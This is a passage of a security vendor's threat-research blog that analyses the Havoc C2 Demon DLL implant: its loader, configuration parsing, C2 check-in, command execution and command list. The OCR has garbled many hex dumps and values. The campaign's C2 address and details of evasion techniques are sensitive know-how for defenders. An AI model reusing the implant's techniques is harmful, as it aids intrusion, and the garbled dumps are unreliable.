0000025F4EEEQOESD |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00|, . e en e
0000025F4EEEQOEAD | OO 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... e en e
0000025F4EEECEBD |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|. ..o en e
0000025F4EEEQOECO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00| ... en e
0000025F4EEECEDD |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEECEEDQ |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|.. .o en e
0000025F4EEEQCEFOQ |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEEQOFQO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... en e
0000025F4EEEOF1O |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... en e
0000025F4EEEQOF20|00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 00| ... ene s
0000025F4EEEOF30 |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... en e
0000025F4EEEOF40 |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... en e
0000025F4EEEQFS50 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00| ... evrenenrnnnnn
0000025F4EEEOFE0 |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|, .o en e
0000025F4EEEOF7O |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEEOF80 |00 00 00 00|00 OO 00 00|00 00 00 00|00 00 00 00| ... vemnennnn..
0000025F4EEEOFS0 |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEEOFAD |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00|, . en e
0000025F4EEEOFBO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 0D 00|, . en e
0000025F4EEEQOFCO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00| ... en e
0000025F4EEEQOFDO |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEEQOFEQ |00 00 00 00|00 00 00 00|00 00 00 0D (00 00 00 00|, .o en e
0000025F4EEEQCFFO |00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00|, .eerennrnnnnn
0000025F4EEELQQO0|C3 90 90 90 (90 90 90 90|90 90 90 90 (90 90 90 90 A .. ... .. vuun,
0000025F4EEEL1010 (41 58 48 B3 (C4 08 48 88|44 24 18 4C (BB 10 4C 89 |A[
0000025F4EEE1D20(14 24 4C 8B|50 08 4C B9 |58 OB 48 B9 |58 10 48 BD|. %L.
0000025F4EEELIO030|1D 09 00 00|00 48 B9 18|48 89 C3 41 (FF E2 48 83 |..... H.
0000025F4EEELQ40 | EC 10 48 B9 (D9 48 8B 59|10 FF 61 08 |0F 1F 40 00|3.H.0H.
0000025F4EEELO50 (48 €1 E1 04 |31 CO 81 E1|FO OF 00 00|49 01 C8 4C|HAA.1A.3B...
0000025F4EEELQ60| 8D OC 02 4E (8D 14 00 31[C9 45 BA 1C|0A 48 FF C1|...N...1lEE...HvA

Fig 24. Demon DLL is memory mapped without DOS and NT Headers

Now once the Demon DLL is memory mapped the KaynDIlIMain i.e the entrypoint of the DLL is executed by the

KaynLdr as shown below, from there on the control is transferred to the Havoc Demon DLL Implant.

48:83cs 28 add rbp,28 | e eSSy | e T I ™
41:FFDd .l o

E8 32FFFFFF Jmp 2SFAEECHL? Ubrary furction [l Reoutar finction I Tnetnuction B8 Data [ Unenciered (1) External mymiel [l Lumina function
3 28 mov eax,d

rd |
89 |[7) renctom 08 x| @B mvews B B devews [ B s 0O T e ] M o

al

-

Demon DLL EntryPoint s =

; BDOL _ stdcall nl‘|=ntrvpoin+lnmqr::1f.= hinstDLL, DWORD fdwReason, LPVO]
public DITEntryPoint

D11EntryPoint proc near

dec edx

inz short loc 363D3858F

T
¥ T

= =
sub rsp, 28h
o oV cs:gword_363042020, rcx| (loc_363D3858E:
3 |call sub_33D37F38 xor eax, eax
el et
, DWORD, PVOID ) = C_PTR( KVirtualMemory + NtHeaders->OptionalHeader.AddressOfEntryPoint ); DL1EntryPoint endp

KaynD1lMain( KVirtualMemory, DLL_PROCESS_ATTACH, NULL );

@5zscaler | ThreatLabz
T —

Fig 25. Entrypoint of the Demon DLL is been executed by the KaynLdr
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Analysis of Havoc Demon DLL

The entrypoint of the Havoc Demon DLL is executed by the KaynLdr as discussed previously. Now as the Havoc
Demon has many features, we will only focus on a few of them in the following blog, as the features can be

deduced from its source at: https://github.com/HavocFramework/Havoc

So once the Havoc Demon is been executed there are four functions which are been executed by the

DemonMain():

¢ DemonlInit
¢ DemonMetaData
e DemonConfig

e DemonRoutine
The Demonlnit is the initialization function which

e Retrieves the virtual addresses of functions from modules such as ntdll.dll/kernel32.dll by calling the API
Hashing Routine discussed previously.

¢ Retrevies Syscall stubs for various NTAPI’s

o Loads various Modules via walking the PEB with stacked strings

¢ Initialize Session and Config Objects such as Demon AgentID, ProcessArch etc.
Now let’s understand how the Configuration is being parsed via the DemonConfig() function.

The Demon’s Configuration is been stored in the .data section as shown in the screenshot below

» UUIUUIUITI 0 LML IO uu L - UdLd [ YYeveug 30 3Uaug ey uo A
:060000036304038D db @ L .data:0000000363040404 S zscaley Tipeailabz
:000000036304033E d o Target Process for Injection Host .data:0000000363040408 db @

: PO0000036304038F db ] .data:000000836304040C db 6Fh ; o
:0800A00363040390 db 43h ; ¢ -data:0000000363D403E1 db @ .data; 0000000363040400 db @

: POOOENE 363040391 db 3Ah ; - .data: 00000003630483E2 db 31h ; 1 _data:0000eEE363DAA4AE db 7ah : z

- 0000000363040392 db 5Ch ; \ ~data:0000000363D403E3 db o .data:000000036304040F b 8
:9800APO363048393 db 57h ; W -data:00000003630403E4 db 34h ; 4 .data:00peeRe363040410 db 69h ; i

:0000000363040394 db 69h ; i ~data:0000860363D403E5 db 0 .data:0000000363040411 |JserAgent db @
- BBOBERA363DABITS db GEh : n .data: 0B00BEE363DA03EE db 36h ; 6 " data-POBOBBE363DA0412 g db 6Ch ; 1
- 0B0BOR0 363040396 db 64h ; d -data:0000060363D403E7 db @ .data:0000600363D40413 s @
- BEABERR363D483G7 db BFh ; o -data:00000003630403E8 db 2Eh ; . .data:0000000363040414 db 6Ch ; 1
: PB0BERE 363040398 db 77h ; w  -data:@@08888363D403E9 db @ .data: 00000OO363D40415 db @
:0006000363040399 db 73k ; s -data:0000000363D403EA db 31h ; 1 .data:0000000363040416 db 61h ; a
PEABAOAIEINABIOA db SCh ; \ .data: 00000E0363DA03ER db @  data:0000600263040417 IS
:0000AP0363040398 db S3h ; S -data:00000083630403EC db 3%h ; 9 .data:0000000263040418 db 2Fh ; /
:00000A0363D4R30( db 79h ; -data: 6006060363D403E0 db 0 .data:0000000363040419 db e
- 9BOABRE363040839D db 73h ; s .data:@@0eeeaI6IDA83EE db 3eh ; @ .data: 0000GAA36304041A db 35h ; 5
:000000036304030F | db 74h ; t  .data:0000000363D403EF db 0 .data:0000600363040418 db e
a-DOOOROAIEIDAAIOF db B5h ; e .data:A000Ben363D403F0 db 2Eh ; . . data: 000060026304041C db 2th ;
:0000000363D403A0 db 60h ; m data:@8080803630D403F1 db @ .data:000000036304041D dv @
00000003630403A1 db 33h ; 3 -data:0000080363DA03F2 db 34h ;4 .data:0080006363D4041E db 30h ; @
:8006000363D403A2 db 32h ; 2 data:0000800363D403F3 d @ .data: 0000000363 db @
:00000003630403A3 db SCh ; \  -data:0000000363DA03F4 db 38h ; 8 .data:0000606363040420 db  20h
: 0000000363D403A4 db 6Eh ; 1 -data:0000000363D403F5 d 0 .data:0080000363040421 b e
: BBOABOD363DABIAS db &Fh ; o -data:0000000363D403F6 db 2Eh ;. .data:0000000363040422 db 28h ; (
: BBOBOND3630D4B3AG db 74h ; t -data: 00000003630403F7 db 0 .data: 0@0OEAO363040423 db @
- BBOBRRO3EIDABIAT db 65h . e .data:00000EE363DA03FS db 32h ; 2  data: 000060A363040424 db S7h ; u
:00000003630403A8 db 7eh ; p  -data:0000000363D403F9 db @ .data:B0800ER db @
- BOO00003630403A0 db 61h ; a -data: 00000003630403FA db  32h ; 2 _data:00pPERA3 db 69h ; i
: 9B0AARO363DAB3IAA db 64h ; d -data:0000000363D403FB db 0 .data: 0000000: db @
- PB0GOA0 36304038 db  2Eh ; ~data:0000060363D403FC db 3%h ; 9 .data: 0000600 db 6Eh ; n
a: 000000836 ID4B3AC db 65h ; e .data:0000600363040420 db @
: 9B0BORE 3630403AD db 78h ; x .data:000060A363DA042A db 64h ; d
: BAEOORE363DABIAE db 65h ; e .data:0000008363040428 db ]
: 0000000 363D403AF db 1Fh .data:000060036304042C db 6Fh ; o
- BAGRARA 1A INAAIRA dh a a:000000036304042D db [:]
: i 1000000036304042E db 77h 5w
Demon Configuration stored e NeOe e A aa o e
.data:0000000363040430 db 73h ; s

Fig 26. Demon Configuration stored in the .data section
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The DemonConfig function parses the configuration by indexing the various required values from the config.

Following is the configuration for the Demon DLL used in the campaign.

Configuration:

Sleep: 2 (0x2)

Injection:
o Allocate: Native/Syscall (0x2)
o Execute: Native/Syscall (0x2)
e Spawn:
o x64: C:\Windows\System32\notepad.exe
o x86: C:\Windows\SysWOW64\notepad.exe
e Sleep Obfuscation Technique: Ekko (0x2)
e Method: POST
e Host: 146[.]190[.]48[.]1229
e Transport Secure: TRUE
o UserAgent: Mozilla/5.0 (Windows NT 6.1; WOWG64) AppleWebKit/537/36 (KHTML, like Gecko)
Chrome/96.0.4664.110 Safari/537.36

Eu wamruweuy S Lo svvLEATLWY

FFC3 |~1nc ebx | =
s R @5 zscaler | Threatlabz
OFBFOD 32420000 movsx ecx,word ptr ds:[2250BCF054C]
3ipe xor ebx,ebx Host - CnC
ES 6F470000 Eall 2250BCEAAS0
4C; 891 mov rcx,rlz
48:8005 09a20000 mov qward ptr d; [2250BCF0534] ,rax rax:& "146.190.48.229"
E8 005D0000 €all 2250BCECO030
ir-Raca e e User Agent

IJ = [<&Rt'|n'l1ucateheap>]

sp+
J [22508(F055A] rax 000002230BCEQSSAEL Mozi113/3. 0 Cwindows NT 6 1: Wowe4) Applewebkil 5: 36 (kpml. 1ike gecko) Chrome/06,0,4664, 010 5
II ax:L Mozi11a/5.0 (Wwindows NT 6.1; wOwed4) Applewebkit/537.36 (KHTML, [1ke Gecko) chrome/96.0.4664.110 Safari/537.36

Fig 27. Demon Configuration - Host (CnC) and UserAgent parsed

The DemonRoutine() function is the main loop for the malware, it is responsible for connecting to the command
and control (C2) server, waiting for tasks from the server, executing those tasks, and then waiting again for more

tasks and running indefinitely. It does the following things:

 First, it checks if it is connected to the C2 server. If not, it calls TransportInit() to connect to the server.
o If the connection is successful, it enters the CommandDispatcher() function, which is responsible for a task
routine which parses the tasks and executes them until there are no more tasks in the queue.

o If the malware is unable to connect to the C2 server, it will keep trying to connect to the server again
Now let’s understand how it connects to the TransportInit function:

TransportInit() is responsible for connecting to the C2 server and establishing a session. It first sends the AES
encrypted MetaData packet i.e the Check-in request generated via the DemonMetaData() function through the
PackageTransmit() function, which could be sending data over HTTP or SMB, depending on the value of the
TRANSPORT_HTTP or TRANSPORT_SMB macro. If the transmission is successful, it then decrypts the

received data using AES encryption with a given key and initialization vector on the TeamServer. The decrypted
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data is then checked against the agent's ID, and if they match, the session is marked as connected and the function

returns true.

Header

b 70 | 2 D b 2. D
70 €4 24 32 76C 78 BE Fb 54 90 B2 OE DD 43 CE B0
X I .'.l'-I_—f &1

L TaE ¥ .
68 20 4A B1 69 GE 00

2€ 30 2E 30|2E 30 00 0O
00 00 30 43 3A 5C 55

Fig 28. Metadata Structure - CheckIn Request

{ Magic value ]

MetaData

[ AES KEY

{ AES IV

[ Magic Value ]
[ Demon ID

[ User Hame

[ Host Name

[ Domain

[ IP Address

[ Process ID
[ Parent PID ]

[ Process Arch ]

(if specified)

nt ID

ND ID

[ Process Name ] siz

[ ted
[ 0s Info 1(5*4) bytes
[ 05 Arch 1 4 bytes

1 Eg: Pivots, Extra data about the host or network etc.

o zscaler | ThreatlLabz

TransportSend() is used to send data to the C2 server. It takes a pointer to the data and its size as input, and

optionally returns received data and its size.It then creates a buffer with the data to be sent, and depending on the

transport method, it either sends the data over HTTP or SMB.

A1:RIIC24 61
BS 10000000

B8 43000000
0F450R

as:5ms Ansac0e0
Actmrazs 30

Transport Send
Function

FFFECIZE000

Aes Key Aes IV

FFTECIZRESS demon, exe; SREFS FS796

% % Dumg 5

oume2 SSO0umpd M B owaichl  belloaly] 3 stua
T

Encrypted Data

TranzportSend( LPWDID B

BUFFER 8
BUFFER R {8}
Send.Buffor - Data;
send.Length = Size;

s

Rix ‘e

[

ey e

b

ase

RS1 000000315 1FFFRSO

BT OOOOOOIMBIFFEAFD  ACATMG \x0L

B COOOD0IISIFFFESO

B9 00000031SIF

Bl0  0OOOM3ISIFEEA

e

i

Ri3

Rid

B

R

RFLAGE  OODDDOMMIIMIT A6

ZE1 PE 1 AF B

oF 0 3o DR D

< >
2 | Dafout (54 fastcol) =[5 [S10] uniod

To0000 315 1FFFES.
+ r3 O00O00ALEISEARLE
: [rape20] ABIGIAGESOLEBEEG

pata, SIZE_T Size, PVOID® RecvData, PSIZE_T RecwSize )

> zscaler | ThreatLabz

Fig 29. TransportSend Function Arguments With Encrypted Data of the Check In request

On the Teamserver end the CheckIn request with the metadata packet is been decrypted and showcased on the

terminal with both encrypted and decrypted details of packets sent and received.
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[88:55:32] [DBUG] [agent.ParseResponse:214]: Ftemamf;m ThreatLab.
eb 86 1le 90 68 2a 18 a8 ab 43 48 48 de 42 1 |..

48 9a 78 14 66 28 @6 2e 9a dd 7c dB ed eb fc cc |@.p.F{....
70 c4 24 4a 6c 78 8e f6 58 90 b2 Be d@ 44 ce b® |p.$I1x..X....
al dd 49 33 3b 58 44 16 @6 df @2 13 8a 89 ba 20

3c a9 77 5b d4 27 3a 6b ad a3 db 51 bb a3 27 15

6c @f e3 e2 32 31 15 d1 4c aa 25 5b de b3 c2 15 |[1...21

1f 22 1d e8 87 e3 69 77 d9 cd 58 9a @7 84 &7 b2 "

66 f1 94 57 34 58 c7 82 7Tc 19 cl 33 3a 1d d8 31

@3 &f 85 12 af e d&@ 5d a8 43 c@ 27 97 78 51 53

78 a2 39 Ad 1a 28 85 ef 7d &d cd 79 98 ab @8 Af

83 ea 73 6b df @7 64 7a 9 21 9a b3 3 77 1f 74

83 55 6f 7 76 Af 2 d1 &8d df a@ 33 fb 74 ed 97

c2 36 d3 31 @d a8 62 be 58 b9 be ea 72 94 b4

[88:55:32] [DBUG] [agent.ParseResponse:273]: AES KEY
2000000d eb Eq le 98 68 2a 18 a8 a@ 4a 48 40 de 42
00p0ee1e 48 9a 70 14 66 28 86 2e 9a dd T7c d@ ed eb

[88:55:32] [DBUG] [agent.ParseResponse:274]: AES IV :
200o0eRe 78 cd4 24 da 6c 78 8e 6 58 98 b2 Qe do 44

[88:55:32] [DBUG] [agent.ParseResponse:276]: Buffer:
al dd 49 33 3b 58 44 16 &6 df 82 13 8a 89 ba
3c a9 77 5b d4 27 3a 6b ad a3 db 51 bb a3d 27
6c Bf e3 e2 32 31 15 d1 4c aa 25 5b de b3 c2
1f 22 1d e8 87 e3 69 77 d9 c4 58 9a @7 84 &7
66 f1 94 57 34 58 c7 82 7c 19 cl 33 3a 1d d8
83 8 85 12 af e® d& 5d a8 43 cB 27 97 78 51
78 a2 39 4d 1a 20 85 ef 7d 6d cd 79 98 ab @8
83 ea 73 6b df 87 64 7Ja 9 21 9a b3 +3 77 1t
83 55 6f e7 76 4f f2 d1 &d df a@ 33 fb 74 ed
c2 36 d3 31 8d a8 62 be 58 b9 be ea 72 94 b4

[#8:55:32] [DBUG] [agent.ParseResponse:288]: After Dec:
Bc 84 dc 0 €0 62 08 e+ 44 A5 53 4b 54 4f 50
48 da 53 36 de 4b 32 8@ ©@ 89 Oc 74
6b 28 4a 61 69 Ge 08 80 ©0 20 02 18
Ze 38 2e 30 Ze 3B 00 80 ©0 80 B0 ae
g8 8@ 38 43 3a 5c 55 73 65 72 73 61 ..8C:YWsers\T
6l 6b 28 4a 61 &9 6e 5c 44 &5 73 6b 74 6F 7O | \Desktop |
64 65 6d 6f 6e 2e 65 78 65 5c 64 65 6d 6f be | demon . exe\demon. |
65 73 65 80 80 af 24 68 00 80 b0 00 00 09 a2

53
[51%]
{5 1%]
5S¢

B8 b1
aa oo
aa aa
53 b8

Fig 30. Check In Request - Metadata packet parsed by the Team Server

Command Execution:
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After the demon is deployed successfully on the target’s machine, the server is able to execute various commands
on the target system. If the command "whoami" is issued to the payload, it would trigger the execution of the
command and display the current user running the session.The server logs the command and its response upon

execution.

View At
pi)
165233fc

@ zscaler | ThreatLabz

Fig 31. Command execution using Havoc GUI

Once the command is executed on the victim machine, the command output is AES Encrypted and then sent to the

CnC server, which is then decrypted by the TeamServer as shown in the screenshot below.

[@9:01:56] [DBUG] [agent.(*Agent).TaskDispatch:1718]: Task oOutput:
00 00 ed 52 o: 73 65 72 6d 65 09 @9 53
49 44 ea 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d
3d 3d 3d 3d 3d 3d 2@ 3d 3d 3d 3d
3d 3d 3d 3d 3d 3d 3d 3d 3d 3d
3d 3d 3d 3d 3d 3d d 3d 3d Pa
53 4b 54 2d 48 4a 53 4b 5¢C | ESKTOP-
61 74 61 20 4a 61 69 6e € 2d 31 : |8 ' W.5-1-5]
31 ; 36 36 ¥ . : | -21-4086602998-6 |
30 36 3@ 37 3 : 3 | 55060677-9571539 |
1 30 fa 0O: , : |13-1000. . .GROUP |
46 : 20 2¢ 20 20 | INFORMATTION
20 20
20
20 20
20 20
20 20
20 20
20 41
20

(WO S e T S S T S I ST
O 2 NV e 2 @ . 3

I
[t
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Fig 32. Command Output Logs parsed by the TeamServer

List Of Commands:

The specific commands available in Havoc will depend on the version and configuration of the framework, but

some common commands that are often included in C2 frameworks include:

Command

help Command Shows help message of specified command SEC_DATA DEMOI
sleep Command  sets the delay to slee;
checkin Command request a checkin request
job Module  job manager
task Module  task manager
proc Module  pros
dir Command
download Command
upload Command
cd Command Y
cp Command e fre on to another
remove Command remove file or directory
mkdir Command create new directory
pwd Command get current directory
cat Command display content of the specified file
screenshot Command takes a screenshot
shell Command execu md.ex mmands and gets the output
powershell Command e tes powershell.exe commands and gets the output
Command executes an objec
Module  shellcode injection techniqu:
Module  dll spawn and injection modules
Command cleanup and exit
Module token manipulation and impersonation
Module execute and manage dotnet assemblies
Module  network and host enumeration module

Module nfigure the behaviour of the demol .. abtl ahe
Module  pivoting module ! @ zscaler | ThreatlLabz

DemonCommands([] =

Fig 33. Commands List
Further the Demon implements various techniques mentioned below which can be analyzed from the source:

e Return Address Stack Spoofing
e In-Direct Syscalls
» Sleep Masking Techniques

o Ekko

o FOLIAGE

o WaitForSingleObjectEx

Explore more Zscaler blogs

Source: https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace
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